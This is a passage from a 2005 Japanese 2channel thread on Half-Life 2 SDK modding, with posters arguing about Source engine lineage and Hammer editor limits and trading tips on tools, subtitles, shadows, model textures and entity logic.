圧縮のことだけみれば同じってこったw
0273名無しさん@お腹いっぱい。
2005/09/13(火) 22:33:42ID:52gQfbf6まるで>>270の意図が理解できてない上に
自分のコメントも意味不明
0274名無しさん@お腹いっぱい。
2005/09/13(火) 22:36:34ID:QZbGumK2>>270=>>273
だろうけどw
0275名無しさん@お腹いっぱい。
2005/09/13(火) 22:39:12ID:52gQfbf6いやだから全然理解してないでしょ・・
ついでにHLはQuake2エンジンじゃなくてQuakeエンジンだよ。
0276名無しさん@お腹いっぱい。
2005/09/13(火) 22:44:27ID:QZbGumK2はい馬鹿を露呈してしまったねwwww
開発当初はたしかにQUAKE1エンジンだったが
後にQUAKE2エンジンのほうを導入したんだよwwwww
0277名無しさん@お腹いっぱい。
2005/09/13(火) 22:45:38ID:52gQfbf6>後にQUAKE2エンジンのほうを導入したんだよwwwww
ごくごく部分的に付け加えただけですよ。
0278名無しさん@お腹いっぱい。
2005/09/13(火) 22:48:46ID:QZbGumK2大半はQUAKE2だよwwww
なにQUAKEエンジンって言い張ってたの間違いにきづいて
恥ずかしまぎれの苦し紛れで言ってんだよwww
0279名無しさん@お腹いっぱい。
2005/09/13(火) 22:52:37ID:SlIh6cuV0280名無しさん@お腹いっぱい。
2005/09/13(火) 22:53:43ID:QZbGumK2スマソ
ことエンジンについては熱くなる
0281名無しさん@お腹いっぱい。
2005/09/14(水) 00:13:04ID:kO9cqxXoソース見たことある?
0282270
2005/09/14(水) 00:40:19ID:Siot+QiZ知ったかの安直なレス乙
まあ、マップ作成とかMod作れん奴の考えだな
とりあえずファイルの構成とエディターのヘボさを言っただけだ
ちなみに ID:52gQfbf6ではない
0283名無しさん@お腹いっぱい。
2005/09/14(水) 00:43:21ID:46G3Svemもういいから終わった話でどうでもいいようなことで暴れるな氏ね
0284名無しさん@お腹いっぱい。
2005/09/14(水) 00:48:20ID:kO9cqxXottp://collective.valve-erc.com/index.php?go=q1_or_q2
SDKスレでこんな勘違いのまま終わらせる気か
0285名無しさん@お腹いっぱい。
2005/09/14(水) 00:52:21ID:46G3Svem0286名無しさん@お腹いっぱい。
2005/09/14(水) 01:23:52ID:fovCkW+d52gQfbf6より痛いから
0287名無しさん@お腹いっぱい。
2005/09/14(水) 02:37:32ID:mLk+8c0Iそのほうが、追加したスキン等を元の戻しやすいからじゃね?
スチーム以前は直接上書きしてたのを、
スチーム以降は自分で作ったフォルダ(ファイル)のほうを優先されるようになってるし。
元に戻すときはその作ったファイルを消すだけでいいしね。
0288名無しさん@お腹いっぱい。
2005/09/14(水) 05:59:54ID:H1WWoi94素材の追加と削除が容易。
どのゲームでどの素材が標準で使えるのかわかりやすい。
ダウンロードで提供しやすい。
バージョン管理がgcf単位でできる。
これくらい思いついた。
参照しにくいようにするのも目的の一つだと思う。
いやなら全部摘出しておけばいい。
そしてHammerの使い勝手が悪いと感じるのは多分使いこなせてないから。
他のエンジンのエディタは使ったことないけど、別にHammer使いにくくない。
あとここはhalf-life 2のSDKスレなので1のことはスレ違い。
0289名無しさん@お腹いっぱい。
2005/09/14(水) 07:17:01ID:GZEv6wdr序盤はプレイしたんだけど実感がないよ
0290名無しさん@お腹いっぱい。
2005/09/14(水) 14:02:34ID:3q4T3ni00291名無しさん@お腹いっぱい。
2005/09/14(水) 15:19:33ID:UFWTZ2G2つーか、チート防止のためじゃなかったのか・・・?
個人的には、自分で追加したファイルをいじったり削除したりする時に、
「ハテ、これは元からあったファイルだっけ?」みたいに迷わなくて済むから嬉しいんだけど
0292名無しさん@お腹いっぱい。
2005/09/14(水) 15:22:55ID:UFWTZ2G2そう言えばSMODって、マップ改変なしで敵やオマケシナリオとかを追加してるんだよね?
なんかすごい
0293名無しさん@お腹いっぱい。
2005/09/16(金) 19:26:56ID:NQkk9mk+0294名無しさん@お腹いっぱい。
2005/09/18(日) 04:19:14ID:dzRjEyGL・ライティングのコンパイルが時間かかり過ぎ
・マップのローディングがやたら長い
たしかにそう
・トリガーを視覚的に操作出来ない
OUTPUTの構造のことならたしかにそう
・AIの移動路を設定する Node式がもはや古い
・NodeとHint Node で補完作用すると言うのも古い
それ以外にあるの?
・HL1のWAD方式じゃなく、マテリアル方式になったせいでテクスチャーの共有が出来なくなった
できる
・カスタムサウンドの使用法が不便、視覚的な操作で対応出来ない
標準のサウンドと同じ
・設置エンティティー数に制限有り(何でそんな無駄な制限を)
なくせる
・手動でいちいち指定しないとマップ全体を描写します ハァ!?何そのトンデモ仕様
そんなことない
・スカイマップをマップの形状に合わせろって・・・・、何で自動で最適化できないんだ・・・・
あわせても意味がないもしくは都合により無理な場合はそうではない
・光源(ダイナミック除く)が二つ以上あるとコンパイル時間が激増するってどゆこと
倍以上になるのは当たり前
逆に俺が思うhammerもしくはエンジンの良くないところは
・コンパイルしないと確認できない。特にライト
・影がおかしい時がある
・ディスプレイスメントの継ぎ目でライトがおかしくなる
・ディスプレイスメントが編集しづらい
くらいかな今思いついたのは。
0295名無しさん@お腹いっぱい。
2005/09/18(日) 04:39:33ID:1SqxUMAh>それ以外にあるの?
自動で経路を設定するAIが最近の主流。いまだに手動設定なのがHL2。
>できる
出来ません。マップにテクスチャーデータが組み込まれて共有は不可能です。
>標準のサウンドと同じ
標準のサウンドは梱包されたファイルの中の内部フォルダ構造を参照する形、
これを知っていたらカスタムサウンドの使用方法と標準のサウンドが同じなんて発言は出てこない。
>なくせる
なくせません。
コンパイル時にエンティティーの使用可能最大数が表示される、それを見たことが無い限りはこんな発言出てこない。
>そんなことない
描写を手動でいちいち制限をせずにマップを作って、チートモードでワイヤーフレームつかって見ると、描写が無制限に行われているのが分かる。
これも知っていたらこんな発言は出てこない。
>あわせても意味がないもしくは都合により無理な場合はそうではない
HL2はスカイマップをマップの形状に合わせないとコンパイル時間が増え、さらにゲームプレイのFPS低下に繋がる。
これも知っていたらこんな発言は出てこない。
>倍以上になるのは当たり前
当たり前じゃない。
UTやDOOMは光源が複数あってもコンパイル時間はHL2の順指数関数グラフのような激増の仕方はしない。
0296名無しさん@お腹いっぱい。
2005/09/18(日) 06:19:52ID:dzRjEyGLごめん眠いから寝ます。
もうちょっと使いこなしてからエンジン批判してね。
0297名無しさん@お腹いっぱい。
2005/09/18(日) 09:11:41ID:ay06N6Qf?
0298名無しさん@お腹いっぱい。
2005/09/18(日) 11:47:56ID:wPhvP2CQ俺も思った。共有ってどういうこと?
>>295
マップ全体が絵画されるとか言う人って、何も考えないでただっ広い屋外マップを作ってる人じゃない?
屋内マップならまずそんなことはないと思うけど?
そんなにコンパイルに時間がかかるのが嫌なら、擬似ラジオシティ効果を切れば?
DOOM3は、マップに予めラジオシティをかけておいたらコントラストが淡くなるから
そういうことはしないで、反射無しの代わりリアルタイムって感じなんじゃない?
0299名無しさん@お腹いっぱい。
2005/09/18(日) 11:51:02ID:wPhvP2CQ0300名無しさん@お腹いっぱい。
2005/09/18(日) 13:27:23ID:LmyUi4WlNodeをもとに自動で経路を造るんだと思うけど、詳しいことはわかりません。
後学のため他のエンジンの場合を紹介してもらえますか?
>マップにテクスチャーデータが組み込まれて共有は不可能です。
組み込まれていません。そしてkinyoentaとkinyoenta_baalは同じデカルを共有しています。
>標準のサウンドは梱包されたファイルの中の内部フォルダ構造を参照する形。
同じ構造をsteamから見たパスが通ってる場所に作れば、
カスタムリソースをあたかも通常のリソースのように扱えます。
>描写を手動でいちいち制限をせずにマップを作って、チートモードでワイヤーフレームつかって見ると、描写が無制限に行われているのが分かる。
直角に3部屋を小さい通路でつないだだけの、単純なマップを作ってみてください。
>HL2はスカイマップをマップの形状に合わせないとコンパイル時間が増え、さらにゲームプレイのFPS低下に繋がる。
例えば高い建物がどこからでも見える構造にしたい時などがあるかもしれません。逆に見えては困ることもあるでしょう。だからスカイマップの形状に自由度を作っています。そして前者と後者にコンパイル時間とFPSの差があるのは当然です。
他の指摘については私はわかりません。しかし自信満々に知ったかするのは止めた方がいいです。
0301名無しさん@お腹いっぱい。
2005/09/18(日) 14:09:22ID:FkA2YmzH>自信満々に知ったかするのは止めた方がいいです
0302名無しさん@お腹いっぱい。
2005/09/18(日) 14:26:21ID:LmyUi4Wl0303名無しさん@お腹いっぱい。
2005/09/18(日) 18:09:38ID:r5OE1UZf> 自動で経路を設定するAIが最近の主流。いまだに手動設定なのがHL2。
これは良し悪し。自動だと「行かせたくない場所」にも行ってしまったりする。
演出するなら手動設定が必要。
> 出来ません。マップにテクスチャーデータが組み込まれて共有は不可能です。
できるよ。マップに組み込まなければいいじゃん。
> 標準のサウンドは梱包されたファイルの中の内部フォルダ構造を参照する形、
テクスチャと同じ。
> 描写を手動でいちいち制限をせずにマップを作って、
> チートモードでワイヤーフレームつかって見ると、描写が無制限に行われているのが分かる。
手動ってのはよくわからんが、確かにある程度気をつかってマップ作らないと、全部描画されることもあるね。
> HL2はスカイマップをマップの形状に合わせないとコンパイル時間が増え、さらにゲームプレイのFPS低下に繋がる。
これは良し悪し。勝手に最適化することによって意図せぬ省略などがされる場合もある。
完全に自動化は無理。
0304名無しさん@お腹いっぱい。
2005/09/18(日) 18:10:52ID:r5OE1UZfCS:SくらいのAIとノード作成の細かさは欲しい。
0305名無しさん@お腹いっぱい。
2005/09/18(日) 22:23:12ID:dp4mFJZ+0306名無しさん@お腹いっぱい。
2005/09/18(日) 23:10:04ID:68pfJHza> ・ディスプレイスメントの継ぎ目でライトがおかしくなる
displacementかける前のブラシ単位で演算されている感じ。
texture smoothは使えるのかな。
> ・ディスプレイスメントが編集しづらい
vercあたりでサードパーティ製のがなかった?
0307名無しさん@お腹いっぱい。
2005/09/18(日) 23:13:03ID:68pfJHza0308名無しさん@お腹いっぱい。
2005/09/19(月) 01:34:56ID:PHPDTLPUTerrainGenは使い難い。って言うか3D Skybox専用と考えた方が良い気がする。
一つ(?)のディスプレースメントを加工する感じだから、
どうしてもテクスチャが引き伸ばされて不自然になりやすいから、
時間かかるけど自分で作った方がマシなところがある。
いや、俺が使いこなせてないだけで、実はディスプレースメントをさらに追加出来たりするのかも
と思ったら、ttp://www.chaosincarnate.net/cannonfodder/dispgen.php
こんな都合のよさそうなのが出てきたけど、これってハイトマップなしで使えないのかな?
0309名無しさん@お腹いっぱい。
2005/09/19(月) 02:12:23ID:HLYbS8WF0310名無しさん@お腹いっぱい。
2005/09/19(月) 02:16:45ID:PHPDTLPUヒント:readme.txt
0311名無しさん@お腹いっぱい。
2005/09/19(月) 03:42:56ID:IaYU08Y3単発マップを製作中なんですが、ゲーム中に日本語のメッセージを表示させるには
本編のclosecaption_japanese.txtをいじるしか無いんでしょうか?
無印HL2で作成したマップをコンソールからロードして遊ぶって形にするつもりなんですが。
マップごとにクローズドキャプションの日本語字幕の割り当てが出来るのでしたら、方法をご教授願いたいです。
0312名無しさん@お腹いっぱい。
2005/09/19(月) 10:35:50ID:ko+WjAFaこれっす。
DispEd
http://www.violator.eclipse.co.uk/disped/
こんな使い方ができるみたい。
http://www.violator.eclipse.co.uk/disped/skrene.htm
0313名無しさん@お腹いっぱい。
2005/09/19(月) 10:38:53ID:ko+WjAFabspzipを使えば、既存のファイルよりも優先されるのでは。
0314名無しさん@お腹いっぱい。
2005/09/19(月) 10:50:27ID:4HPgstlhそれは
>311
>本編のclosecaption_japanese.txtをいじるしか無いんでしょうか?
と実質やってることは一緒だろう。
配布するときにそのファイルが見えるか見えない(マップに埋め込まれてる)か
ってだけで。マップごとに単一の字幕ファイルを作りたいって話でしょ。
俺はシラネ
0315名無しさん@お腹いっぱい。
2005/09/19(月) 13:04:44ID:LK8Uhdix神ツール
ところでコレ、グリッド表示部分や3D表示部分をスクロールさせることって出来ないの?
readme見ても何もかかれてないんだけど
0316名無しさん@お腹いっぱい。
2005/09/19(月) 13:36:00ID:LK8Uhdixんだが、これが完成版って言ったら怒りますよw こんなけしかないのかよw
http://planetdawson.com/synergy/files/synergy.fgd
DMのまま作れるTimcoopの方がマシな位だ。
そのTimcoopも2.0を出すとか言って出さないし、やっぱ1.4を出すとか言って、それも出さないし・・・
Svencoopも開発を中断してる雰囲気だし・・・
まともなCOOP MODが出るのはかなり先になりそうだな
0317名無しさん@お腹いっぱい。
2005/09/19(月) 14:19:42ID:IaYU08Y3bspに埋め込むことで、本編との互換性を保ったままカスタムマップに字幕を追加できるのかな。
例えば、埋め込んだclosecaption_japanese.txtにはカスタムマップだけのローカライズしか記述して無くても
本編のマップ読み込んだときには、ちゃんとデフォルトのclosecaption_japanese.txtを読み込んでくれるんでしょうか。
だとしたら、マップ個別に字幕を作れるって事ですよね。
確認取れてませんが試しにやってみます。ありがとうございました。
0318名無しさん@お腹いっぱい。
2005/09/19(月) 16:52:39ID:OAf1KhsB>メタセコイア(ポリゴンモデラー)から直接HalfLife(2)用のメッシュ(SMD)を吐き出す
>プラグインです。
最新のシリアル登録したメタセコでプラグインインストールしても読み込み違反とかで上手くいかない
普通にいきます?
0319名無しさん@お腹いっぱい。
2005/09/19(月) 20:59:07ID:ko+WjAFavercで見かけただけで、使ったことないです。スマソ
>>317
とりあえず音声は置換できることは確認してます。
多分これを使えば、スベコみたいに敵キャラのモデルや武器なんかも取り替えられるかも。
0320名無しさん@お腹いっぱい。
2005/09/19(月) 21:39:01ID:4HPgstlh>とりあえず音声は置換できることは確認してます。
問題は置換出来るかじゃないから。
0321名無しさん@お腹いっぱい。
2005/09/19(月) 23:41:30ID:Vx2U0M/oマップを読み込んだときにマップファイルと別にHDDに保存されてしまうか否かってことだよな。
結果出たら報告たのんます
0322名無しさん@お腹いっぱい。
2005/09/19(月) 23:45:56ID:4HPgstlh違うってば
ちゃんとよめって・・
0323名無しさん@お腹いっぱい。
2005/09/20(火) 00:13:31ID:5BHoOfwW0324名無しさん@お腹いっぱい。
2005/09/20(火) 00:57:28ID:Z0d66rB/てことはそういうことだと思ったんだけど。
普通のより優先される位置に保存されてしまうなら、
本編のマップを読み込んだ時もそっちを読みに行ってしまう。
そうでないなら本編のマップを読んでもいつもと同じだから変わるわけない。
まぁでも、そのマップ専用のファイルとして保存される可能性もあるか。
言い方が悪かった。
0325名無しさん@お腹いっぱい。
2005/09/20(火) 01:09:27ID:Iz8IMUoW全然違いますちゃんと読んでください
0326名無しさん@お腹いっぱい。
2005/09/20(火) 01:20:14ID:E7AgBSiW代弁してくれるのはありがたいけど、ただ横槍だけ入れるのは勘弁していただきたい。
現状ではClosecaptionをいじるしかなさそうなのは、周知ですので
それ以外の方法が無いのならば、結果的に回答は>>324氏や>>319氏、>>321氏となるので
こちらとしては大変ありがたいです。
0327名無しさん@お腹いっぱい。
2005/09/20(火) 02:13:01ID:Z0d66rB/もちろんそんなの無理って前提で話してたわ。勝手に先行ってごめんね。
0328名無しさん@お腹いっぱい。
2005/09/20(火) 02:20:44ID:Z0d66rB/closecaption_文字列.txtで指定できるかも。
たぶん元に戻せないけど。
てか日本語以外にしてる人はclosecaption_japanese.txtで指定できないじゃん!
0329名無しさん@お腹いっぱい。
2005/09/20(火) 02:22:04ID:5BHoOfwW0330名無しさん@お腹いっぱい。
2005/09/20(火) 02:28:49ID:Z0d66rB/答えてあげたいけど質問に答えるためだけに色々やるのはめんどくさいな。
0331名無しさん@お腹いっぱい。
2005/09/20(火) 08:24:39ID:uI3xdDQW> 普通のより優先される位置に保存されてしまうなら、
HDD内には展開されないし、そのマップを読み込んでいるときだけ有効だよ
0332名無しさん@お腹いっぱい。
2005/09/20(火) 22:14:41ID:HILlOJYN作ろうとしてる奴がいたら絶対止めとけ
0333名無しさん@お腹いっぱい。
2005/09/20(火) 22:44:55ID:19g4GEGP0334名無しさん@お腹いっぱい。
2005/09/21(水) 01:48:53ID:rpm8R3e8sk_fastzombie_healthみたいなのがないんだけど
0335名無しさん@お腹いっぱい。
2005/09/21(水) 02:48:52ID:vXoNZhsYいじれない
0336名無しさん@お腹いっぱい。
2005/09/23(金) 14:15:13ID:a9EdAu8d大分前にちょっと話題になってた小便器の3Dモデル作ってみたんだけど真っ白なテクスチャだけだと・・・なんでテクスチャの知識ある方がいたらお願いします。
shitabirame.hp.infoseek.co.jp/cgi-bin/src/up0375.zip
0337名無しさん@お腹いっぱい。
2005/09/23(金) 19:49:56ID:Zpl7ii8sソフトは何使ってるのか知らないけど、
簡単なプロップ作りなら、とりあえずメタセコイア使うのがオススメだ。
テクスチャの割り付けとかもめちゃ簡単だし
0338名無しさん@お腹いっぱい。
2005/09/23(金) 20:06:35ID:a9EdAu8dsoftimageのMODtool版使ってます。
エクスポートプラグインも出てきたことですし、メタセコに移るのも手ですね。
メタセコってモデリングもかなり楽だったような気がします。
テクスチャ作りの記憶がうろ覚えですが、思い出しながらやってみます。
ちなみに上の小便器のモデル使いたい方がいれば勝手に使ってください。
0339名無しさん@お腹いっぱい。
2005/09/26(月) 03:24:41ID:aeZEn+R+http://www.akilling.org/akg/default.asp?akg=tutnpc
Zombie Pounderの画像にAlyxの影がありますが、うちでやると影が出ない。
0340名無しさん@お腹いっぱい。
2005/09/30(金) 07:24:16ID:MJ9ll1PJHammerは何をするにも外部にファイルを用意する必要があってキツイ。
せめてCGツールのようにHammer上でマテリアルの作成・編集が出来れば混乱も少なくなって便利だと思うんだけど。
0341名無しさん@お腹いっぱい。
2005/09/30(金) 10:26:22ID:mRSjSrdD0342名無しさん@お腹いっぱい。
2005/09/30(金) 15:25:09ID:MJ9ll1PJああ、それ使っています。
でもそもそもHammer内でシームレスにやり取りできればそんな物も必要ないんだよねぇ…
なんで草を生やす為の機能とかも、外部に置いたファイルから読み込むんじゃなくて、
指定した範囲内に指定したマテリアルやPROPを配置してくれるようになってないんだろう。
問題が起こった時や一度作業を終えたものをしばらくしてから編集しなおす時とかに、構造をチェックしなおすのが大変で…
そもそも俺にはHammerを使えるだけの能力が無いのか。
0343名無しさん@お腹いっぱい。
2005/09/30(金) 18:49:58ID:ntAdCEw7まぁ、ゆっくりガンガレ
0344名無しさん@お腹いっぱい。
2005/09/30(金) 22:00:02ID:H9UEDGSdいくつものサイトを巡り何十回と読み返し出力してもできません。
もう疲れました(パタリ・・・
誰かご教授ください。
0345名無しさん@お腹いっぱい。
2005/09/30(金) 22:00:50ID:DPmhYnl7まず何をしたいのかと。
0346名無しさん@お腹いっぱい。
2005/09/30(金) 22:58:27ID:H9UEDGSd元のマットレスのテクスチャーを変えて違うマットレスを作りたいんです。
HLMVで見るとBoneやSequenceの項目は上手くいってると思うんです。
でもPhysicsの項目が何も表示されず、Physモデルを作って出力しても元のモデルのように六つに割れたPhysではなく一つのPhysモデルとしか認識されなくて困ってます。
ちなみに使っている元データはprops_c17のFurnitureMatress001aです。
0347名無しさん@お腹いっぱい。
2005/09/30(金) 23:05:17ID:H9UEDGSdそもそもqciファイル自体の記述が間違っていたのかも知れません。
と言っても元々のデータのqcを見ても$include "ragdoll.qci"などの記述が無い為qciは必要でないようで何か色々と混乱してます。
0348名無しさん@お腹いっぱい。
2005/09/30(金) 23:05:18ID:7ka18ozF0349名無しさん@お腹いっぱい。
2005/09/30(金) 23:12:37ID:H9UEDGSd>>1さんのどれですか?
0350名無しさん@お腹いっぱい。
2005/10/01(土) 01:47:20ID:tgtDgwK3StudioCompiler.exeでFurnitureMatress001aをデコンパイルして
FurnitureMattress001a_reference.smdをテキストエディタでみてテクスチャ名確認して
GCFScapeでそのテクスチャ取り出して加工したあとマテリアルフォルダに入れれば?
p.s. 建物の影は出るけど、人や物の影が出ない・・・。help!
0351名無しさん@お腹いっぱい。
2005/10/01(土) 13:20:13ID:6CZXn0yVshadow_control。
キツネ印のやつね。
0352名無しさん@お腹いっぱい。
2005/10/01(土) 16:31:03ID:EnD9jTuz0353名無しさん@お腹いっぱい。
2005/10/02(日) 15:46:10ID:asMmKEnw0354名無しさん@お腹いっぱい。
2005/10/02(日) 17:24:22ID:2UyONSqIスレ違いだからヒントしか教えてあげない。
ttp://www.geocities.jp/bcc2528/index.html
↑ここのどこか。
0355名無しさん@お腹いっぱい。
2005/10/06(木) 02:22:28ID:LRWZrMo/スプレーを作りたいわけじゃなく、logoを作りたいのです
0356名無しさん@お腹いっぱい。
2005/10/06(木) 03:23:17ID:MKwsTbxf0357名無しさん@お腹いっぱい。
2005/10/06(木) 07:04:58ID:mpce8HpMあのマップほしい。
0358名無しさん@お腹いっぱい。
2005/10/06(木) 17:24:54ID:Smnsv3w2とりあえず、俺の一押しはVTFeditです。
触ってみたいくつかのツールの中では一番使いやすいと感じた。
0360名無しさん@お腹いっぱい。
2005/10/12(水) 20:26:12ID:OslcFzzU0361名無しさん@お腹いっぱい。
2005/10/12(水) 21:01:28ID:931w6yqR0362名無しさん@お腹いっぱい。
2005/10/12(水) 21:33:06ID:xBtDceYpインストールフォルダに「スペース」が入っていると起動出来なくなる模様。
c:\steam なら大丈夫。
0363名無しさん@お腹いっぱい。
2005/10/13(木) 08:30:46ID:RsklZ8EF0364名無しさん@お腹いっぱい。
2005/10/13(木) 08:57:30ID:vlyOXP6Yインスト後にフォルダを移動させたら、移動した後に ClientRegistry.blob のファイルを消す。
んで、あとは普通にSteamを起動させたら動く。
0365名無しさん@お腹いっぱい。
2005/10/13(木) 22:24:41ID:RsklZ8EF0366350とは別人
2005/10/14(金) 22:38:34ID:EVDGW3DN影が表示されません。
サンプルのdm_lockdownからshadow_controlやlight_environmentからコピペしても効果無しで
した。何を設定すれば遠くからでも影が見えるようになるのかご存じの方がいらっしゃいました
ら教えていただけると助かります。
0367名無しさん@お腹いっぱい。
2005/10/18(火) 16:27:13ID:Jx2oanCZ単純に光が強過ぎるのでは。
影が薄いってのは仕様。
0368名無しさん@お腹いっぱい。
2005/10/18(火) 16:36:31ID:DTX55uFf0369名無しさん@お腹いっぱい。
2005/10/18(火) 16:49:34ID:PpzdYUcXRADEONX800かX850使ってない?Valveが修正するまで待つしかない。
0370名無しさん@お腹いっぱい。
2005/10/19(水) 02:47:03ID:2Swv0DRGhttp://www.watch.impress.co.jp/game/docs/20051014/mod04.htm
個人のスキル、人員、それにともなう費用・時間等はとりあえず置いておいて
上記のソフト・環境さえあれば、いわゆる今まで発売されてきたような
様々なジャンルの3DPCゲームが開発可能ということでしょうか?
それとも開発できるのは改造どまりのFPS・TPSのみ?
例えば銃でなくて刀・素手等の近接攻撃主体の3Dアクション(国内で主流の3D三人称視点アクション系)
ぐらいだったら出来るのかな。
はたまたRPGや、レースゲーム等まったくゲームとしての垣根・ジャンルが違うゲームも
開発できたりするの?
いや、俺自身はプログラムの知識とかまったくないし、ゲーム作ろうなんて
大それた事思ってないけど、この環境のみであらゆるゲームが作れるのなら
すごい事だよなぁ…と思って。
0371名無しさん@お腹いっぱい。
2005/10/19(水) 03:16:47ID:kMRwaGvqエンジンってのは3Dを描画するもんにすぎないから。近接攻撃主体のTPSは個人でも余裕で作れるよ。
ソースエンジン使うくらいなら他のエンジン使った方がマシだけどね。
海外のゲームはエディターとかゲームのソースを公開しているから。著作権にうるさい閉鎖的な日本とは違ってね。
アンリアルエンジンは色々な所に使われたりする。RPGだとMMOのリネージュ2とか名前忘れたけどレースゲーも。
アンリアル3エンジンはXBOX360のゲームにジャンル問わず色々と採用されてるみたい。
0372名無しさん@お腹いっぱい。
2005/10/19(水) 04:37:43ID:SrbKx3sM以前一緒に働いていたプログラマー様にそういう事いうと怒られます。
「ライブラリや衝突判定とかも全てエンジンがやってるんだ馬鹿にするなゴルァ」とかいって。
それはともかく俺もSauceエンジン使うくらいなら別のエンジンの方が良いと思う。
Sauceの良いところといったら、ユーザー数が群を抜いて多いしコミュニティが発達しているから作ったものを多くの人に見てもらえる可能性が高い。ってことくらい?
発表されてから発売までに時間がかかりすぎて、既に古臭いものになってるんだよね。
HL2CS:S、DoD:Sで素晴らしいクオリティの画面を見せてくれるのはデザイナーが頑張ったからだし(一番重要といえるけど)
0373名無しさん@お腹いっぱい。
2005/10/19(水) 07:35:40ID:hQ7rQsQu0374名無しさん@お腹いっぱい。
2005/10/19(水) 10:08:57ID:mlHIM4GNグラフィックエンジンとゲームエンジンとを混同してないか?
ゲームエンジンをライセンスしてのゲーム開発と、MOD開発とを混同してないか?
グラフィッククオリティとデザインクオリティとを混同してないか?
語る前によく学びましょう。
0375名無しさん@お腹いっぱい。
2005/10/19(水) 11:09:07ID:jbjixMZ0QuakeやUTのカスタマイズできる項目は 700個程度だけど。
HL2は 4000個もあるよ。
0376名無しさん@お腹いっぱい。
2005/10/19(水) 11:57:13ID:dcppR+6Eマイト&マジックの新作だかなんだかはSourceエンジン使って
製作中なんじゃなかったっけか
MODで近接用のものも出てるし、レースMODもあるにはある
Sourceエンジンでのグラフィックは、確かにデザイナーががんばってるってのはあるが、
素人が適当に作ったテクスチャでもそれなりに見えるものができるぽいよ
他のエンジンと比べてどうかはよく知らんけど
0377名無しさん@お腹いっぱい。
2005/10/19(水) 20:41:37ID:SrbKx3sM>>370がModについて聞いているのに、>>371がModじゃなくて
エンジンのライセンスを受けて作られた作品みたいな書き方をしているように見えたから最初の二行を書き込んだが、
それ以降で自分もグラフィックスエンジンの部分だけを取り上げて書いたから池沼な事になった。 吊ってくる。
>グラフィッククオリティとデザインクオリティとを混同してないか?
総合的に見た場合の話として書き込んだ。
>マイト&マジックの新作だかなんだかはSourceエンジン使って
Vampi(ry
>素人が適当に作ったテクスチャでもそれなりに見えるものができるぽいよ
解像度が高いテクスチャを使えば確かに適当でもそこそこみえるんじゃない?
さらにHL2だとかはあのクオリティのテクスチャを大量に作成してるのが凄い。と思う。
0378名無しさん@お腹いっぱい。
2005/10/19(水) 22:54:23ID:xEMzWCJt順番通りだと火が付く。逆の順番だとスチームが吹き出す。後は銃で発火という風にするのに一番楽な方法無いですかね?
0379名無しさん@お腹いっぱい。
2005/10/19(水) 23:32:38ID:wNNYdTxg難しいポイントは何もない
0380名無しさん@お腹いっぱい。
2005/10/19(水) 23:45:48ID:kSGq1hi4ttp://www.4gamer.net/news/history/2005.09/20050902190841detail.html
これか
>>377
>Vampi(ry
なんだVampiって??
0381名無しさん@お腹いっぱい。
2005/10/20(木) 00:43:38ID:nNtuxJQKVampire:The Masquerade - Bloodlines
0382名無しさん@お腹いっぱい。
2005/10/20(木) 00:58:58ID:U488vno80383名無しさん@お腹いっぱい。
2005/10/20(木) 01:02:40ID:nNtuxJQK0384名無しさん@お腹いっぱい。
2005/10/20(木) 01:11:50ID:U488vno8あーナルホド
「V:tM Bloodlines」の開発元,Troika Gamesが閉鎖に!?
ttp://www.4gamer.net/news/history/2005.02/20050218122822detail.html
悲惨だな…
Dark Messiah of Might & Magicは成功してほしいな
このゲームの開発元のArkane Studiosは
ARX FATALISっていう
マジ面白いRPG+FPS出してるから期待してる
0385名無しさん@お腹いっぱい。
2005/10/20(木) 21:55:18ID:RNnR7eRwlogic_relayを2つ置く。両方ともStart DisabledはYes。
撃ったら発火する地点にStrength 1の透明なfunc_breakableを置く。
上のfunc_breakableを作るpoint_templateを置く。Preserve entity namesはチェック。
ボンベを開けるとrelay1をEnable、relay2をTrigger。
コンロを開けるとrelay2をEnable、relay1をTrigger。
ボンベを閉めるとrelay1をDisable、消火。
コンロを閉めるとrelay2をDisable、func_breakableをkill、消火。
relay1がTriggerすると発火。
relay2がTriggerするとpoint_templateをForceSpawn。
func_breakableが壊れると発火。
が一番スマートかと思う。
0386名無しさん@お腹いっぱい。
2005/10/20(木) 21:58:41ID:RNnR7eRw他にもおかしいとこあるかもしれんから参考程度にしてね。
0387名無しさん@お腹いっぱい。
2005/10/28(金) 03:14:12ID:eXFYyM2J0388名無しさん@お腹いっぱい。
2005/10/28(金) 16:39:55ID:gepEuVAfどうすればよいのでしょうか?
0389名無しさん@お腹いっぱい。
2005/10/28(金) 16:47:48ID:w0ULXS3bマルチすんな
教える気無くす。
0390名無しさん@お腹いっぱい。
2005/10/28(金) 16:49:43ID:gepEuVAfごめ。本スレはLCで盛り上がってるっぽくて気まずかった。
0391名無しさん@お腹いっぱい。
2005/10/28(金) 17:37:06ID:7+TpALYq何が聞きたいのか分からない。
モデルで乗り物作って.qcファイルの書式?
0392名無しさん@お腹いっぱい。
2005/10/28(金) 17:39:30ID:gepEuVAfごめんなさい、Garry'sMODです。
Garry'sMODで物と物をくっつけるにはどうすればよいのでしょうか?
0393名無しさん@お腹いっぱい。
2005/10/28(金) 18:19:24ID:w0ULXS3bmagnet 機能を使えばくっつくよ。
っていうか、あと10時間程で新バージョン出るから、それにしてからいろいろ
いじった方が楽しいんじゃないかな。また操作系列が変更になるだろうし。
0394名無しさん@お腹いっぱい。
2005/10/28(金) 18:58:20ID:gepEuVAfうはwそういえば新バージョン出るんだった・・・。
今夜は徹夜で車作りたいと思ってたんだけど・・・ウーン。
サンクスでした。
0395名無しさん@お腹いっぱい。
2005/10/28(金) 23:04:57ID:gepEuVAf度々すみません。
磁石だと重なっている物体(運転席と空の車を合体させていた)の場合、使用出来ないみたいです。
他に良い方法はないものでしょうか?
0396名無しさん@お腹いっぱい。
2005/10/29(土) 00:49:32ID:0sYtq32Z前スレ辺りに厨房のGarry's解説サイトがあったろ。
お前に最適だよ。とりあえずそこ行け。それでもなかったら、そこの管理人に聞け
0397名無しさん@お腹いっぱい。
2005/10/29(土) 00:50:15ID:3rwLwSq1そういえばあったなぁ・・・
厨っぽくて見る気失せていたのですが熟読してみます。サンクス。
0398名無しさん@お腹いっぱい。
2005/10/29(土) 04:50:34ID:QX5BStxyアレはどうやって使うんでしょうか?
確か砂場がアリ地獄のように崩れるようなデモを行っていたと思うんですけど。
0399名無しさん@お腹いっぱい。
2005/10/29(土) 10:51:58ID:q5bXeKF2その機能はボツった
0400名無しさん@お腹いっぱい。
2005/10/29(土) 10:57:01ID:Pw73Ekpj0401名無しさん@お腹いっぱい。
2005/10/29(土) 12:44:30ID:0sYtq32Zenv_terrain_morphだかってので上下に自由に変形出来るけど、
